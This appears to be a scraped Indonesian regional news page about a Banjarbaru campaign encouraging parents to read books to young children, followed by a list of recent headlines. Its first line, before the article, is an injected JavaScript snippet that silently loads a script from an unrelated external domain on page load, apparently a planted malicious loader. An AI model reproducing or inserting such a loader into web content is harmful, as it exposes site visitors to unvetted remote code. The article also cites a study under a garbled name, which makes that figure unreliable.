(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Orang Tua Harus Biasakan Anak-anak Mengenal Buku


BANJARBARU, “Buku adalah jendela dunia”, tak perlu berkeliling dunia untuk mengetahui keindahannya, hanya melalui sebuah buku kita diajak berimajinasi tentang isi buku tersebut. Meski pada perkembangannya buku bertransformasi dalam bentuk elektronik namun fungsi buku pada saat ini masih dianggap kurang.

Berdasarkan studi Most Littered Nation In the World 2016  di Indonesia minat baca menduduki peringkat 60 dari 61 negara. Pengaruh internet juga sedikit banyak mempengaruhi minat baca di Indonesia. Sebanyak 132,7 juta orang Indonesia pada 2016 tecatat sebagai pengguna internet menurut data Perpustakaan Nasional 86,3 juta jiwa berada di Jawa.

Berdasarkan data itulah, Bunda PAUD Kota Banjarbaru Hj Ririen Nadjmi Adhani terus tergerak menggalakan GERNAS BAKU (Gerakan Nasional Orang Tua Membacakan Buku) di Kecamatan Banjarbaru Selatan, Rabu (21/3).

“Memang sangatlah penting peranan dari orang tua dalam menumbuh kembangkan minat baca pada anak, dengan bercerita, mendongeng ataupun yang lainnya,” ujar Kepala PAUD Harapan Mulya Muntriana.

Sangatlah penting orang tua untuk membiasakan membaca buku kepada anak, dengan cara menceritakan buku bergambar, bercerita atau mendongeng untuk anak-anak.

Foto : devi

Karena dengan membaca, pintu pengetahuan akan terbuka, tidak perlu menyelam ke dasar laut untuk mengetahui segala sesuatunya di sana.

“Karena buku adalah jendela dunia,” ujar Hj Ririen Nadjmi

Dengan Gerakan Nasional Orang Tua Membacakan Buku (GERNAS BAKU) yang terus digalakkan ini bertujuan untuk menumbuhkan minat baca pada anak, meningkatkan kemampuan komunikasi, menyampaikan ide anak, meningkatkan jiwa imajinasi, daya pikir anak, mempererat hubungan sosial emosi orang tua dan anak serta meningkatkan rasa ingin tahu pada anak.

“Sebaiknya mereka membaca minimal 15 menit sebelum kegiatan belajar dimulai agar terbiasa. Karena tidak ada satu daerah yang maju sepanjang sejarah kecuali masyarakatnya gemar membaca,” anjur Hj Ririen. (devi) 

Reporter : Devi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.